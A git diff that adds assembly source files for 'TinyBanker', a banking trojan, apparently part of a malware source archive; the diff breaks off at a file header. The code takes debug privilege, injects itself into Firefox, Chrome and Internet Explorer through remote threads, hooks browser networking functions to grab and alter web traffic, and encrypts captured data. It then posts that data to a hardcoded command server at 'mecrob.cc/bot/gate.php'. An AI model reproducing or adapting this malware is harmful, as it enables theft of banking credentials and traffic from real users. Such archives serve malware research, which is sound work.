TrCntrl\GetInject.inc + include TrCntrl\IsGrabTerm.inc + include TrCntrl\WebInject.inc + + include TrCntrl\IE\GrabIEHeaders.inc + include TrCntrl\IE\InternetStatusCallback.inc + include TrCntrl\IE\hInternetCloseHandle.inc + include TrCntrl\IE\hHttpSendRequestW.inc + include TrCntrl\IE\hInternetQueryDataAvailable.inc + include TrCntrl\IE\hInternetReadFile.inc + include TrCntrl\IE\hHttpQueryInfoA.inc +; include TrCntrl\IE\hInternetReadFileExA.inc +; include TrCntrl\IE\hHttpSendRequestExW.inc +; include TrCntrl\IE\hInternetWriteFile.inc +; include TrCntrl\IE\hHttpEndRequestA.inc + + include TrCntrl\FF\CheckEOF.inc + include TrCntrl\FF\FFWebInject.inc + include TrCntrl\FF\FixHeaders.inc + include TrCntrl\FF\FixChunk.inc + include TrCntrl\FF\FixLen.inc + include TrCntrl\FF\GrabBrief.inc + include TrCntrl\FF\hPR_Write.inc + include TrCntrl\FF\hPR_Read.inc + include TrCntrl\FF\hPR_Close.inc + +@CODE_END: + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/INJECTED.ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/INJECTED.ASM new file mode 100644 index 0000000..ff0a880 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/INJECTED.ASM @@ -0,0 +1,24 @@ + +.code + +;; ==================================================================================================== ;; +;; INJECTED_START - injected code entry point ;; +;; ==================================================================================================== ;; +INJECTED_START proc + local WSAData : WSADATA + + + + GetBaseDelta ebx + + invokx &RestoreAPIs[ebx] + + invokx _WSAStartup[ebx], 202h, &WSAData + + invokx &InitCfg[ebx] + invokx &InitArr[ebx] + invokx &InitHooks[ebx] + + ret +INJECTED_START endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitArr.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitArr.inc new file mode 100644 index 0000000..31347e4 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitArr.inc @@ -0,0 +1,25 @@ + +.code + +;; ==================================================================================================== ;; +;; InitArr - ;; +;; ==================================================================================================== ;; +InitArr proc + + invokx _VirtualAlloc[ebx], 0, ARRAYLEN*8, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + mov lpSendBuffersArray[ebx], eax + + + invokx _VirtualAlloc[ebx], 0, ARRAYLEN*8, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + mov lpReadBuffersArray[ebx], eax + + + invokx _VirtualAlloc[ebx], 0, ARRAYLEN*8, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + mov lpSockHandlesArray[ebx], eax + + ret +InitArr endp + + lpSockHandlesArray dd 0 + lpSendBuffersArray dd 0 + lpReadBuffersArray dd 0 diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitCfg.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitCfg.inc new file mode 100644 index 0000000..c7af3cf --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitCfg.inc @@ -0,0 +1,20 @@ + +.code + +;; ==================================================================================================== ;; +;; InitCfg - ;; +;; ==================================================================================================== ;; +InitCfg proc + + invokx &FileRead[ebx], 'c:\DEVELOP\CONFIG.TXT' + mov lpConfigFileData[ebx], eax + + + invokx &FileRead[ebx], 'c:\DEVELOP\INJECTS.TXT' + mov lpWebInjectsData[ebx], eax + + ret +InitCfg endp + + lpConfigFileData dd 0 + lpWebInjectsData dd 0 diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitHooks.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitHooks.inc new file mode 100644 index 0000000..79730ca --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitHooks.inc @@ -0,0 +1,78 @@ + +.code + +;; ==================================================================================================== ;; +;; InitHooks - ;; +;; ==================================================================================================== ;; +InitHooks proc uses ecx + + invokx _GetModuleHandleA[ebx], "wininet" + jmpz eax, @F + invokx &ApiAddrFromCrc[ebx], eax + + invokx &HookAPI[ebx], &hHttpQueryInfoA[ebx], &_HttpQueryInfoA[ebx] + + invokx &HookAPI[ebx], &hInternetCloseHandle[ebx], &_InternetCloseHandle[ebx] + invokx &HookAPI[ebx], &hHttpSendRequestA[ebx], &_HttpSendRequestA[ebx] + invokx &HookAPI[ebx], &hHttpSendRequestW[ebx], &_HttpSendRequestW[ebx] + + invokx &HookAPI[ebx], &hInternetQueryDataAvailable[ebx], &_InternetQueryDataAvailable[ebx] + invokx &HookAPI[ebx], &hInternetReadFile[ebx], &_InternetReadFile[ebx] + +; invokx &HookAPI[ebx], &hInternetReadFileExA[ebx], &_InternetReadFileExA[ebx] +; invokx &HookAPI[ebx], &hHttpSendRequestExW[ebx], &_HttpSendRequestExW[ebx] +; invokx &HookAPI[ebx], &hInternetWriteFile[ebx], &_InternetWriteFile[ebx] +; invokx &HookAPI[ebx], &hHttpEndRequest[ebx], &_HttpEndRequestA[ebx] + + +;; ================================================== ;; + +@@: invokx _GetModuleHandleA[ebx], "nspr4" + jmpz eax, @F + invokx &ApiAddrFromCrc[ebx], eax + + invokx &HookAPI[ebx], &hPR_Write[ebx], &_PR_Write[ebx] + invokx &HookAPI[ebx], &hPR_Read[ebx], &_PR_Read[ebx] + invokx &HookAPI[ebx], &hPR_Close[ebx], &_PR_Close[ebx] + + +;; ================================================== ;; + +@@: invokx _GetModuleHandleA[ebx], "chrome" + jmpz eax, @ret + + + call @F + ;; 75 05 83 C8 FF 05 C3 56 + db 075h, 005h, 083h, 0C8h, 0FFh, 05Fh, 0C3h, 056h +@@: pop ecx + invokx &StrIPos[ebx], eax, 25000000, ecx, 8 + jmpz eax, @ret + sub eax, 14 + mov _PR_Close[ebx], eax + + + call @F + db 08Bh, 04Ch, 024h, 004h +@@: pop ecx + inc eax + invokx &StrIPos[ebx], eax, 2048, ecx, 4 + mov _PR_Read[ebx], eax + + + call @F + db 08Bh, 04Ch, 024h, 004h +@@: pop ecx + inc eax + invokx &StrIPos[ebx], eax, 2048, ecx, 4 + mov _PR_Write[ebx], eax + + + invokx &HookAPI[ebx], &hPR_Write[ebx], &_PR_Write[ebx] + invokx &HookAPI[ebx], &hPR_Read[ebx], &_PR_Read[ebx] + invokx &HookAPI[ebx], &hPR_Close[ebx], &_PR_Close[ebx] + +@ret: + ret +InitHooks endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Install/GlobalInject.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Install/GlobalInject.inc new file mode 100644 index 0000000..be6a22d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Install/GlobalInject.inc @@ -0,0 +1,126 @@ + +.code + +;; ==================================================================================================== ;; +;; EnumProcs - procedure enum all processes handles and pass them into InjAndRun procedure ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +EnumProcs proc + local idProcess : dword + local hSnapshot : dword + local dwPrevPriv : dword + local p_entry : PROCESSENTRY32 + + + + ;; Get debug drivilege + invokx _RtlAdjustPrivilege[ebx],\ + 20,\ ;; SE_DEBUG_PRIVILEGE + 1,\ ;; Enable + 0,\ ;; ADJUST_CURRENT_PROCESS + &dwPrevPriv ;; Enabled + + + ;; Get current id to prevent self inject + invokx _GetCurrentProcessId[ebx] + mov idProcess, eax + + + ;; Take snapshot of the processes + invokx _CreateToolhelp32Snapshot[ebx], TH32CS_SNAPPROCESS, 0 + mov hSnapshot, eax + inc eax + jmpz eax, @ret + + + ;; Get first process in snapshot + mov p_entry.dwSize, sizeof PROCESSENTRY32 + invokx _Process32First[ebx], hSnapshot, &p_entry + jmpz eax, @ret + jmp @inject + + +@next: + ;; Get next process in snapshot + mov p_entry.dwSize, sizeof PROCESSENTRY32 + invokx _Process32Next[ebx], hSnapshot, &p_entry + jmpz eax, @nomore + + +@inject: + ;; Prevent self inject + mov eax, idProcess + cmp eax, p_entry.th32ProcessID + jz @next + + +;; ================================================== ;; + invokx _lstrcmpiA[ebx], &p_entry.szExeFile, "firefox.exe" + jmpz eax, @F + invokx _lstrcmpiA[ebx], &p_entry.szExeFile, "chrome.exe" + jmpz eax, @F + invokx _lstrcmpiA[ebx], &p_entry.szExeFile, "iexplore.exe" + jmpnz eax, @next +@@: +;; ================================================== ;; + + ;; Get process handle + invokx _OpenProcess[ebx], PROCESS_ALL_ACCESS, 0, p_entry.th32ProcessID + jmpz eax, @next + + + ;; Pass handle into InjAndRun procedure + invokx &InjectCode[ebx], eax + jmp @next + + +@nomore: + ;; Dedstroy handle + invokx _CloseHandle[ebx], hSnapshot + + +@ret: + ret +EnumProcs endp + + + +;; ==================================================================================================== ;; +;; InjectCode - procedure injects current code in remote process and starts it ;; +;; __in hProcess - process handle ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +InjectCode proc hProcess : dword + local lpRemoteCode : dword + + + + ;; Alocate memory in remote process + invokx _VirtualAllocEx[ebx], hProcess, 0, @CODE_END-@CODE_START, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE + jmpz eax, @ret + mov lpRemoteCode, eax + + + ;; Copy code in remote process + lea eax, [ebx+@CODE_START] ;; lpBuffer + invokx _WriteProcessMemory[ebx], hProcess, lpRemoteCode, eax, @CODE_END-@CODE_START, 0 + jmpnz eax, @F + + + ;; Release memory in remote process + invokx _VirtualFreeEx[ebx], hProcess, lpRemoteCode, 0, MEM_RELEASE + xor eax, eax + jmp @ret + + + ;; Start remote code +@@: add lpRemoteCode, INJECTED_START-@CODE_START + invokx _CreateRemoteThread[ebx], hProcess, 0, 0, lpRemoteCode, 0, 0, 0 + + +@ret: + ret +InjectCode endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Install/Install.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Install/Install.inc new file mode 100644 index 0000000..ddf35cc --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Install/Install.inc @@ -0,0 +1,72 @@ + +.code + +;; ==================================================================================================== ;; +;; RegReadValue - ;; +;; ==================================================================================================== ;; +RegReadValue proc hKey, lpszRegPath, lpszValue, lpBuf, lpBufLen: DWORD + local hkHandle : dword + local DataType : dword + + + invoke RegOpenKeyEx, hKey, lpszRegPath, NULL, KEY_QUERY_VALUE, addr hkHandle + jmpnz eax, @ret + + invoke RegQueryValueEx, hkHandle, lpszValue, NULL, addr DataType, lpBuf, lpBufLen + jmpnz eax, @ret + + invoke RegCloseKey, hkHandle + +@ret: + ret +RegReadValue endp + + + + + + + + +;; ==================================================================================================== ;; +;; Install - ;; +;; ==================================================================================================== ;; +Install proc + local szRegDst[MAX_PATH] : byte + local szDst[MAX_PATH] : byte + local BufLen : dword + + + + invokx lstrcpy, &szRegDst, "Software" + invokx lstrcat, &szRegDst, "\ABCDEFGH" + invoke MessageBox, 0, addr szRegDst, 0, MB_OK + mov BufLen, MAX_PATH + invokx &RegReadValue, HKEY_CURRENT_USER, &szRegDst, "Path", &szDst, &BufLen + jmpnz eax, @F + invoke MessageBox, 0, addr szDst, 0, MB_OK +@@: + +; invoke GetModuleFileName, 0, addr szDst, MAX_PATH +; invoke MessageBox, 0, addr szDst, 0, MB_OK + + +; invokx ExpandEnvironmentStrings, "%AppData%", &szDst, MAX_PATH +; invokx lstrcat, &szDst, "\ABCDEFGH" +; invoke CreateDirectory, addr szDst, 0 +; invoke MessageBox, 0, addr szDst, 0, MB_OK +@ret: + ret +Install endp + + + + + + + + + + + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Logs/InLog.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Logs/InLog.inc new file mode 100644 index 0000000..4a9d72c --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Logs/InLog.inc @@ -0,0 +1,38 @@ + +.code + +;; ==================================================================================================== ;; +;; InLog - ;; +;; __in lpData - data ptr ;; +;; __in dwLen - data len ;; +;; __in dwType - data type ;; +;; ==================================================================================================== ;; +InLog proc lpData, dwLen, dwType : dword + + pushad + + invokx _VirtualAlloc[ebx], 0, BUFFERLEN, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + jmpz eax, @ret + mov edi, eax + xchg eax, lpData + mov esi, eax + + + mov eax, dwLen + add eax, 8 + stosd ;; all len + mov eax, dwType + stosd ;; type + mov eax, dwLen + stosd ;; len + invokx &strcpyn[ebx], edi, esi, dwLen + invokx &Crypt[ebx], edi, dwLen + + + invokx _CreateThread[ebx], 0, 0, &Notify[ebx], lpData, 0, 0 + +@ret: + popad + ret +InLog endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Logs/Notify.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Logs/Notify.inc new file mode 100644 index 0000000..c8844fd --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Logs/Notify.inc @@ -0,0 +1,99 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + +; sSupplier db "loadscc" +; sBotNET db "default" + sPassword db "default_password" + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIMaskMatch.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIMaskMatch.inc new file mode 100644 index 0000000..4e02f92 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIMaskMatch.inc @@ -0,0 +1,153 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIMaskMatch - compare string with mask ;; +;; - "#" - any 1 digit, ;; +;; - "?" - any 1 symbol, ;; +;; - "*" - any group of symbols or no symbols at all ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpStrMask - pointer to mask ;; +;; __in nStrMaskLen - len of mask ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +StrIMaskMatch proc uses ecx ebx edx esi edi lpString, nStringLen, lpStrMask, nStrMaskLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nStrMaskLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString + mov ebx, nStringLen + add ebx, esi + dec ebx ;; lpSrting last symbol ptr + + mov edi, lpStrMask + mov ecx, nStrMaskLen + add ecx, edi + dec ecx ;; lpStrMask last symbol ptr + + xor edx, edx ;; Group start ptr + + jmp @F ;; Start compare + + +@next: + cmp ebx, esi + je @finish ;; If last symbol in lpSrting + cmp ecx, edi + je @finish ;; If last symbol in lpStrMask + + inc esi + inc edi + + + ;; Compare +@@: mov al, [edi] ;; Symbol from mask + + +;; ================================================== ;; + ;; Any single symbol (just skip it) + cmp al, "?" + je @next + + +;; ================================================== ;; + ;; Any single digit or actual # symbol + cmp al, "#" + jne @F + + cmp al, [esi] + je @next + + mov al, [esi] + + cmp al, "0" + jb @notmatch + cmp al, "9" + ja @notmatch + + jmp @next + + +;; ================================================== ;; + ;; Any group of symbols +@@: cmp al, "*" + jne @F + + cmp ecx, edi + je @ret ;; if end of lpStrMask + + mov edx, edi ;; save start of group + dec esi + jmp @next + + + ;; Case insensitive symbol compare +@@: cmp al, [esi] + je @next + + cmp al, "z" + ja @notmatch + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [esi] + je @next + jmp @notmatch + +@cmpupper: + cmp al, "Z" + ja @notmatch + cmp al, "A" + jb @notmatch + + add al, 32 + cmp al, [esi] + je @next + + + ;; Symbol not match, check if group state +@notmatch: + test edx, edx + jz @finish + + add esi, edx + sub esi, edi + inc esi + + mov edi, edx + jmp @next + + +;; ================================================== ;; + ;; Finish +@finish: + xor eax, eax + cmp ebx, esi + jne @ret ;; if not end of lpSrting + + + mov al, "*" +@@: cmp ecx, edi + je @ret ;; if end of lpStrMask + + ;; Last * in lpStrMask + inc edi + cmp al, [edi] + je @B + xor eax, eax + + +@ret: + ret +StrIMaskMatch endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPos.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPos.inc new file mode 100644 index 0000000..34f0892 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPos.inc @@ -0,0 +1,83 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIPos - case insensitive search first entry of char in string ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpSubString - pointer to substring ;; +;; __in nSubStrLen - len of substring ;; +;; Return: 0 - failed ;; +;; !0 - success, pointer to start of founded substring ;; +;; ==================================================================================================== ;; +StrIPos proc uses ebx ecx edx edi esi lpString, nStringLen, lpSubString, nSubStrLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nSubStrLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString ;; esi = first symbol pointer + dec esi + mov ebx, nStringLen + add ebx, esi ;; ebx = last symbol pointer + + +@nextcycle: + xor eax, eax + cmp esi, ebx ;; check if last symbol in string + je @ret + + inc esi ;; next symbol ptr search from + mov ecx, esi ;; copy symbol ptr search from, for use in compare + + mov edi, lpSubString ;; init substring var + mov edx, nSubStrLen ;; init substring var + + + ;; Case insensitive symbol compare +@nextchar: + mov al, [ecx] + cmp al, [edi] + je @charmatch + + cmp al, "z" + ja @nextcycle + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [edi] + je @charmatch + jmp @nextcycle + +@cmpupper: + cmp al, "Z" + ja @nextcycle + cmp al, "A" + jb @nextcycle + + add al, 32 + cmp al, [edi] + jne @nextcycle + + +@charmatch: + inc ecx ;; next symbol in string + inc edi ;; next symbol in substring + dec edx ;; substring len + jnz @nextchar + + + ;; Substring found + mov eax, esi + + +@ret: + ret +StrIPos endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPosEx.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPosEx.inc new file mode 100644 index 0000000..747cc11 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPosEx.inc @@ -0,0 +1,87 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIPosEx - case insensitive search first entry of substring in string ;; +;; - whitespaces insensitive ;; +;; - <'> equals <"> ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpSubString - pointer to substring ;; +;; __in nSubStrLen - len of substring ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to start of founded substring ;; +;; ecx - pointer to end of founded substring ;; +;; ==================================================================================================== ;; +StrIPosEx proc uses ebx edx edi esi lpString, nStringLen, lpSubString, nSubStrLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nSubStrLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString ;; esi = first symbol pointer + dec esi + mov ebx, nStringLen + add ebx, esi ;; ebx = last symbol pointer + + +@nextcycle: + xor eax, eax + cmp esi, ebx ;; check if last symbol in string + je @ret + + inc esi ;; next symbol ptr search from + mov ecx, esi ;; copy symbol ptr search from, for use in compare + + mov edi, lpSubString ;; init substring var + mov edx, nSubStrLen ;; init substring var + + + ;; Case insensitive symbol compare +@nextchar: + mov al, [ecx] + cmp al, [edi] + je @charmatch + + cmp al, "z" + ja @nextcycle + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [edi] + je @charmatch + jmp @nextcycle + +@cmpupper: + cmp al, "Z" + ja @nextcycle + cmp al, "A" + jb @nextcycle + + add al, 32 + cmp al, [edi] + jne @nextcycle + + +@charmatch: + inc ecx ;; next symbol in string + inc edi ;; next symbol in substring + dec edx ;; substring len + jnz @nextchar + + + ;; Substring found + mov eax, esi + + +@ret: + ret +StrIPosEx endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/atodw.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/atodw.inc new file mode 100644 index 0000000..735a3d3 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/atodw.inc @@ -0,0 +1,33 @@ + +.code + +;; ==================================================================================================== ;; +;; atodw - convert decimal string into dword value ;; +;; __in lpString - pointer to string ;; +;; Return: eax - dword value ;; +;; ecx - ;; +;; ==================================================================================================== ;; +atodw proc uses edx lpString : dword + + xor eax, eax + xor edx, edx + mov ecx, lpString + + +@@: mov dl, [ecx] + cmp dl, "0" + jb @ret + cmp dl, "9" + ja @ret + inc ecx + + sub dl, "0" + lea eax, [eax+4*eax] + lea eax, [edx+2*eax] + jmp @B + + +@ret: + ret +atodw endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoa.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoa.inc new file mode 100644 index 0000000..1ccd74e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoa.inc @@ -0,0 +1,33 @@ + +.code + +;; ==================================================================================================== ;; +;; dwtoa - convert dword value into string ;; +;; __in dwValue - value to convert ;; +;; __in lpBuffer - pointer to buffer ;; +;; Return: eax - pointer to end of buff ;; +;; ==================================================================================================== ;; +dwtoa proc uses ebx ecx edx edi dwValue, lpBuffer : dword + + mov eax, dwValue + mov edi, lpBuffer + xor ecx, ecx + mov ebx, 10 + +@@: xor edx, edx + div ebx + push edx + inc ecx + test eax, eax + jnz @B + +@@: pop eax + add eax, "0" + stosb + dec ecx + jnz @B + + mov eax, edi + ret +dwtoa endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoh.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoh.inc new file mode 100644 index 0000000..6ecc921 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoh.inc @@ -0,0 +1,43 @@ + +.code + +;; ==================================================================================================== ;; +;; dwtoah - convert dword value into hex string ;; +;; __in dwValue - value to convert ;; +;; __in lpBuffer - pointer to buffer ;; +;; Return: eax - pointer to end of buff ;; +;; ==================================================================================================== ;; +dwtoh proc uses ecx edx edi dwValue, lpBuffer : dword + + mov edi, lpBuffer + mov al, "0" + stosb + mov edx, dwValue + test edx, edx + jz @ret + + dec edi + mov ecx, 9 +@next: + dec ecx + jz @ret + rol edx, 4 + mov al, dl + and al, 00001111b + jnz @F + cmp edi, lpBuffer + je @next +@@: and dl, 11110000b + .if al < 0Ah + add al, 30h ; convert digits 0-9 to ascii + .else + add al, 57h ; convert digits A-F to ascii + .endif + stosb + jmp @next + +@ret: + mov eax, edi + ret +dwtoh endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/htodw.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/htodw.inc new file mode 100644 index 0000000..a7be61e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/htodw.inc @@ -0,0 +1,51 @@ + +.code + +;; ==================================================================================================== ;; +;; htodw - convert hex string into dword value ;; +;; __in lpString - pointer to string ;; +;; Return: eax - dword value ;; +;; ecx - ptr to after ;; +;; ==================================================================================================== ;; +htodw proc uses edx lpString : dword + + xor eax, eax + xor edx, edx + mov ecx, lpString + + +@next: + mov dl, [ecx] + + cmp dl, "0" + jb @ret + cmp dl, "9" + jg @F + sub dl, "0" + jmp @add + +@@: cmp dl, "F" + ja @F + cmp dl, "A" + jb @ret + sub dl, "A"-10 + jmp @add + +@@: cmp dl, "f" + ja @ret + cmp dl, "a" + jb @ret + sub dl, "a"-10 + + +@add: + shl eax, 4 + add eax, edx + inc ecx + jmp @next + + +@ret: + ret +htodw endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/ltrim.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/ltrim.inc new file mode 100644 index 0000000..bdefbc9 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/ltrim.inc @@ -0,0 +1,50 @@ + +.code + +;; ==================================================================================================== ;; +;; ltrim - strip whitespace from the beginning of a string ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; Return: 0 - failed ;; +;; !0 - success, pointer to ltrimed string ;; +;; ecx - len of ltrimed string ;; +;; ==================================================================================================== ;; +ltrim proc uses edx lpString, nStringLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + + + mov eax, lpString + mov ecx, nStringLen + jmp @F + + +@nextchar: + inc eax + dec ecx + jz @ret + + +@@: mov dl, [eax] + + cmp dl, 32 ; " " (ASCII 32 (0x20)), an ordinary space. + je @nextchar + cmp dl, 9 ; "\t" (ASCII 9 (0x09)), a tab. + je @nextchar + cmp dl, 10 ; "\n" (ASCII 10 (0x0A)), a new line (line feed). + je @nextchar + cmp dl, 13 ; "\r" (ASCII 13 (0x0D)), a carriage return. + je @nextchar + cmp dl, 0 ; "\0" (ASCII 0 (0x00)), the NUL-byte. + je @nextchar + cmp dl, 11 ; "\x0B" (ASCII 11 (0x0B)), a vertical tab. + je @nextchar + + +@ret: + ret +ltrim endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/strcpyn.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/strcpyn.inc new file mode 100644 index 0000000..37dadcc --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/strcpyn.inc @@ -0,0 +1,32 @@ + +.code + +;; ==================================================================================================== ;; +;; strcpyn - ;; +;; __in lpDestString - ;; +;; __in lpSrcString - ;; +;; __in nLength - ;; +;; Return: eax - ;; +;; ==================================================================================================== ;; +strcpyn proc uses ecx edi esi lpDestString, lpSrcString, nLength : dword + + mov edi, lpDestString + mov esi, lpSrcString + mov ecx, nLength + + cmp edi, esi + jbe @F ;; if dest below source + lea eax, [esi+ecx] + cmp eax, edi + jbe @F ;; if last source below dest + add edi, ecx + add esi, ecx + inc ecx + std +@@: rep movsb + cld + + mov eax, edi + ret +strcpyn endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/Compare.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/Compare.inc new file mode 100644 index 0000000..3cb5a3e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/Compare.inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\n", 1 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/CheckEOF.inc 